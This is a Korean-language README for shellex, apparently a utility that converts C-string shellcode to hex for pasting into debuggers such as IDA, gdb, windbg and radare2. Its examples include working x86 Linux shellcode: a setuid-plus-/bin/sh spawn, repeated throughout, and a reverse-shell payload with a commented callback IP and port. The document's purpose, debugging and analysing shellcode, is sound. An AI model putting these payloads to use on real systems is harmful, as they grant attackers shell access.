
C-셸코드를 16진수로 변환하는 변환기로, IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger 및 010 편집기에서 셸코드를 붙여넣고 실행하는 데 편리한 도구입니다.
경고: 세상에서 가장 지저분한 코드
C-셸코드를 16진수로 변환하는 도구입니다.
기부를 고려해 주세요: https://github.com/sponsors/therealdreg
IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger 및 010 편집기에서 셸코드를 붙여넣고 실행할 수 있는 편리한 도구입니다.
C-셸코드를 16진수(HEX)로 변환하는 데 문제가 있으신가요? (어쩌면 C-주석+ASCII가 섞여 있을 수도 있습니다?)
여기에 shellex가 있습니다. 셸코드가 C 컴파일러에서 컴파일될 수 있다면 shellex가 변환할 수 있습니다.
shellex를 실행하고, 셸코드 C-문자열을 붙여넣은 후 ENTER를 누르세요.
종료하려면 Control+Z(Windows)/Control+D(Linux)를 사용하세요.
혼합된 여러 줄의 16진수+ASCII C-셸코드 변환 (혼합 부분 \x68//sh\x68/bin\x89에 주목):
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex 출력:
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
주석이 포함된 여러 줄의 C-셸코드 변환:
"\x68"
"\x7f\x01\x01\x01" // <- IP: 127.1.1.1
"\x5e\x66\x68"
"\xd9\x03" // <- 포트: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"
shellex 출력:
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE
shellex 출력을 새로운 C-셸코드 문자열로 변환해야 하나요? -h 매개변수를 사용하세요. 예를 들어 shellex 출력을 변환:
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80
git clone https://github.com/therealdreg/shellex.git
바이너리:
shellex\bins\shellex.exe
의존성:
sudo apt-get install tcc
바이너리:
shellex/linuxbins/shellex
내 xshellex 플러그인 사용:
https://github.com/therealdreg/xshellex
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
def writebytes(dest, str):
for i, c in enumerate(str):
idc.patch_byte(dest+i, ord(c));
address = idc.get_reg_value("eip")
shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
writebytes(address, shellcode)
print("done!")
IDA PRO에서 프로그램 디버깅:
이제 F7로 셸코드를 디버깅할 수 있습니다. 하지만 디스어셈블리 창에서 셸코드가 db로 표시될 수 있습니다.
해결 방법:
완료! 셸코드가 디스어셈블되어 F7로 디버깅할 수 있습니다.
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
바이너리 파일을 현재 명령어 포인터에 기록:
32비트:
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip
64비트:
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip
x/30b는 셸코드의 바이트 크기입니다. 크기는 다음으로 얻을 수 있습니다:
wc -c /tmp/sc
x/15i는 표시할 명령어 개수입니다. 정확한 개수는 ndisasm으로 얻을 수 있습니다:
sudo apt-get install nasm
32비트:
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l
64비트:
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"
patch byte 명령 사용:
32비트:
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
64비트:
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
context 명령을 실행하여 디스어셈블이 올바른지 확인
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
32비트:
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
64비트:
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
context 명령을 실행하여 디스어셈블이 올바른지 확인
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
작은 셸코드의 경우 eb 명령어가 좋을 수 있습니다. shellex 출력을 eb 명령어와 함께 사용하세요 (hint: Axel Souchet @0vercl0k 감사)
32비트:
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
64비트:
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex
certutil 출력:
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.
셸코드 길이는 30이므로 windbg에서 L0n30을 사용합니다.
바이너리 파일을 현재 명령어 포인터에 기록:
32비트:
.readmem C:\Users\Dreg\sc @eip L0n30
64비트:
.readmem C:\Users\Dreg\sc @rip L0n30
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
32비트:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip
64비트:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip
셸코드가 올바르게 붙여졌는지 확인:
터미널에서 셸코드 크기 확인:
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c
마지막 명령의 출력은 30입니다. 이제 radare2에서 pD 명령 사용:
pD 30
Linux에서 "\x6a\x17\x58\x31\xdb\xcd\x80" 변환:
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex
Windows에서 "\x6a\x17\x58\x31\xdb\xcd\x80" 변환:
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe
Windows에서 여러 줄 파일 사용:
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe
Linux에서 여러 줄 파일 사용:
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex
Windows에서는 Visual Studio 2013을 사용하세요.
Linux에서는 다음을 실행:
cd shellex/shellex
gcc -o shellex shellex.c
./shellex